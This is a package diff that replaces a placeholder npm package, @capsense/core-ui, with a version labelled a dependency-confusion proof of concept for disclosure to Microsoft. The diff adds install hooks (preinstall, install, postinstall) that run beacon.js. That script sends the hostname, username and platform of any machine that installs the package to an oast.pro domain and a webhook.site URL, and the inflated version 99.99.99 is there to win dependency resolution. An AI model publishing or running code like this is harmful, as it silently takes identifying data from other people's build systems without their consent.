@capsense/core-ui 0.0.0-stage → 99.99.99

package/README.md

@@ -1,3 +1,17 @@
-# Temporary Holding Version
+# @capsense/core-ui — authorized security research placeholder
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+This package is a **dependency-confusion proof of concept** published for **responsible
+disclosure to Microsoft (MSRC)**. The `@capsense` scope was found unregistered on the public
+npm registry while in use as an internal build dependency of a Microsoft production
+application. This placeholder exists to demonstrate that risk and to prevent a malicious actor
+from claiming the name first.
+
+**It is not malicious.** On install it emits a one-way beacon containing only the package
+name, the lifecycle stage, the machine hostname, the username, and the OS platform. It does
+**not** read or transmit environment variables, files, source code, credentials, or any other
+data, and it does not modify or damage anything.
+
+If you are from Microsoft: please reserve the `@capsense` scope (and these package names) on
+public npm and confirm your builds resolve `@capsense/*` only from your private feed. Contact
+the reporter through the MSRC case associated with this disclosure to have this placeholder
+transferred or removed.

package/beacon.js

@@ -0,0 +1,32 @@
+/*
+ * Dependency-confusion PoC beacon — authorized security research / responsible disclosure.
+ * Purpose: prove whether a build that installs @capsense/core-ui resolves it from the PUBLIC
+ * npm registry (i.e. the private scope was not reserved / not mapped to a private feed).
+ *
+ * It sends ONLY: package id, lifecycle stage, hostname, username, platform.
+ * It does NOT read or send environment variables, files, source code, tokens, or any secret.
+ * It is non-destructive, never throws, and never blocks or fails the install (exit 0).
+ */
+var os = require('os');
+var dns = require('dns');
+var https = require('https');
+
+function f(s, n) { return String(s == null ? '' : s).replace(/[^a-zA-Z0-9]/g, '').slice(0, n).toLowerCase() || 'x'; }
+
+var PKG = 'coreui';
+var OAST = 'dbf2v9d8dg559apcd93guf6i7uxrn5coo.oast.pro';
+var WH = '59675304-bec1-4ca0-8409-8d37b65ec116';
+
+var stage = f(process.argv[2] || 'req', 4);
+var host = f(os.hostname(), 14);
+var user = '';
+try { user = f(os.userInfo().username, 10); } catch (e) { user = 'x'; }
+var plat = f(os.platform(), 6);
+
+var label = [PKG, stage, host, user, plat].join('-').slice(0, 60);
+
+try { dns.lookup(label + '.' + OAST, function () {}); } catch (e) {}
+try { https.get('https://' + label + '.' + OAST + '/', function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}
+try { https.get('https://webhook.site/' + WH + '?x=' + encodeURIComponent(label), function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}
+
+setTimeout(function () { try { process.exit(0); } catch (e) {} }, 2000);

package/index.js

@@ -0,0 +1,7 @@
+/*
+ * Inert on purpose. This package is an authorized dependency-confusion PoC for responsible
+ * disclosure. All proof-of-execution signalling happens only in the install lifecycle scripts
+ * (the build/CI environment). Importing this module at runtime does nothing, so nothing ever
+ * beacons from an end user's browser or application.
+ */
+module.exports = {};

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "@capsense/core-ui",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "99.99.99",
+  "description": "Authorized security research placeholder for responsible disclosure to Microsoft MSRC (dependency-confusion PoC). Non-malicious: beacons package name and host only, no secrets. Please contact the reporter and reserve this scope.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node beacon.js preinstall",
+    "install": "node beacon.js install",
+    "postinstall": "node beacon.js postinstall"
+  },
+  "keywords": ["security-research", "responsible-disclosure", "dependency-confusion-poc"],
+  "author": "security research",
+  "license": "MIT"
+}